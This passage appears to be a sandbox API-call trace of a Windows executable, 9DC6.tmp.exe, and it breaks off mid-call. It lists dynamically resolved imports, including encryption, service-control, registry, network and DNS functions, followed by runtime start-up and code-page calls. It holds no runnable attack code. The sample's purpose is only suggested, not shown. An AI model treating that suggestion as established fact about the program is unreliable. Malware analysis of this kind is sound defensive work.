(hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0031.150] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0031.150] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0031.151] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0031.151] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0031.151] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0031.151] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0031.151] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0031.151] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0031.151] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0031.151] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0031.151] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0031.151] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0031.151] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0031.151] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0031.151] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0031.151] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0031.152] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0031.152] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0031.152] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0031.152] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0031.152] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0031.152] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0031.152] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0031.152] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0031.152] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0031.152] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0031.152] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0031.152] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0031.152] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0031.152] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0031.153] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0031.153] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0031.153] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0031.153] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0031.153] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0031.153] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0031.153] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0031.153] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0031.153] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0031.153] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0031.153] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0032.739] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0032.739] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0032.739] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0032.739] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0032.739] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0032.739] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0032.739] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0032.739] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0032.740] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0032.740] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0032.740] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0032.740] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0032.740] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0032.740] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0032.740] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0032.740] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0032.740] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0032.740] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0032.740] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0032.740] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74af0000 [0032.922] GetProcAddress (hModule=0x74af0000, lpProcName="GetAdaptersInfo") returned 0x74af9263 [0032.922] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0033.089] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0033.089] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0033.089] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0033.089] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a90000 [0033.238] GetProcAddress (hModule=0x74a90000, lpProcName="DnsQuery_W") returned 0x74aa572c [0033.238] GetProcAddress (hModule=0x74a90000, lpProcName="DnsFree") returned 0x74a9436b [0033.238] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0033.238] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0033.238] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749d0000 [0033.398] GetProcAddress (hModule=0x749d0000, lpProcName="atexit") returned 0x749ec544 [0033.398] atexit (param_1=0x65f0920) returned 0 [0033.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18d180 | out: lpSystemTimeAsFileTime=0x18d180*(dwLowDateTime=0xa8ffcf70, dwHighDateTime=0x1d55a45)) [0033.398] GetCurrentThreadId () returned 0x5b4 [0033.398] GetCurrentProcessId () returned 0x73c [0033.398] QueryPerformanceCounter (in: lpPerformanceCount=0x18d178 | out: lpPerformanceCount=0x18d178*=15367958460) returned 1 [0033.398] GetStartupInfoW (in: lpStartupInfo=0x18d110 | out: lpStartupInfo=0x18d110*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0033.398] GetProcessHeap () returned 0x260000 [0033.398] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0033.399] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0033.399] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0033.399] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0033.399] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0033.399] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0033.399] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0033.399] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0033.399] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0033.399] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0033.399] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0033.399] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0033.399] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0033.400] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0033.400] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0033.400] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0033.400] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0033.400] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0033.400] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0033.400] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0033.400] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0033.400] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0033.400] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0033.400] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0033.400] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0033.401] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0033.401] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0033.401] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0033.401] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0033.401] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0033.401] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0033.401] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0033.401] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0033.401] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0033.402] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3bc) returned 0x30b778 [0033.402] GetCurrentThreadId () returned 0x5b4 [0033.402] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x18) returned 0x301e40 [0033.402] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x800) returned 0x30bb40 [0033.402] GetStartupInfoW (in: lpStartupInfo=0x18d0e0 | out: lpStartupInfo=0x18d0e0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x3d2af8ce, hStdError=0x58)) [0033.402] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0033.402] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0033.402] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0033.402] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" " [0033.402] GetEnvironmentStringsW () returned 0x30c348* [0033.402] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xaca) returned 0x30ce20 [0033.402] FreeEnvironmentStringsW (penv=0x30c348) returned 1 [0033.402] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9dc6.tmp.exe")) returned 0x32 [0033.402] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x6e) returned 0x30d8f8 [0033.402] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x98) returned 0x30d970 [0033.402] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3e) returned 0x3009e0 [0033.402] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x6c) returned 0x30da10 [0033.402] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x6e) returned 0x30da88 [0033.402] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x78) returned 0x2feb68 [0033.402] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x62) returned 0x30db00 [0033.402] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2e) returned 0x307d70 [0033.402] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x48) returned 0x303258 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x28) returned 0x307718 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1a) returned 0x30b4d8 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x4a) returned 0x30db70 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x72) returned 0x2febe8 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x30) returned 0x307da8 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2e) returned 0x307de0 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1c) returned 0x30b500 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xd2) returned 0x30dbc8 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x7c) returned 0x30dca8 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x36) returned 0x30dd30 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3a) returned 0x300a28 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x90) returned 0x30dd70 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x24) returned 0x307748 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x30) returned 0x307e18 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x36) returned 0x30de08 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x48) returned 0x3032a8 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x52) returned 0x30de48 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3c) returned 0x300a70 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x82) returned 0x30dea8 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2e) returned 0x307e50 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1e) returned 0x30b528 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2c) returned 0x307e88 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x54) returned 0x30df38 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x52) returned 0x30c348 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2a) returned 0x307ec0 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3c) returned 0x300ab8 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x54) returned 0x30c3a8 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x24) returned 0x307778 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x30) returned 0x307ef8 [0033.403] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x8c) returned 0x30c408 [0033.403] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x30ce20 | out: hHeap=0x260000) returned 1 [0033.404] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x80) returned 0x30c4a0 [0033.404] GetLastError () returned 0x0 [0033.404] SetLastError (dwErrCode=0x0) [0033.404] GetLastError () returned 0x0 [0033.404] SetLastError (dwErrCode=0x0) [0033.404] GetLastError () returned 0x0 [0033.404] SetLastError (dwErrCode=0x0) [0033.404] GetACP () returned 0x4e4 [0033.404] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x220) returned 0x30c528 [0033.404] GetLastError () returned 0x0 [0033.404] SetLastError (dwErrCode=0x0) [0033.404] IsValidCodePage (CodePage=0x4e4) returned 1 [0033.404] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d0d4 | out: lpCPInfo=0x18d0d4) returned 1 [0033.404] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18cb9c | out: lpCPInfo=0x18cb9c) returned 1 [0033.404] GetLastError () returned 0x0 [0033.404] SetLastError (dwErrCode=0x0) [0033.404] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18cfb0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0033.404] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18cfb0, cbMultiByte=256, lpWideCharStr=0x18c918, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0033.404] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpCharType=0x18cbb0 | out: lpCharType=0x18cbb0) returned 1 [0033.404] GetLastError () returned 0x0 [0033.404] SetLastError (dwErrCode=0x0) [0033.405] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18cfb0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0033.405] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18cfb0, cbMultiByte=256, lpWideCharStr=0x18c8e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0033.405] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0033.405] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18c6d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0033.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18ceb0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ>ù*=ìÐ\x18", lpUsedDefaultChar=0x0) returned 256 [0033.405] GetLastError () returned 0x0 [0033.405] SetLastError (dwErrCode=0x0) [0033.405] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18cfb0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0033.405] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18cfb0, cbMultiByte=256, lpWideCharStr=0x18c908, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ") returned 256 [0033.405] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 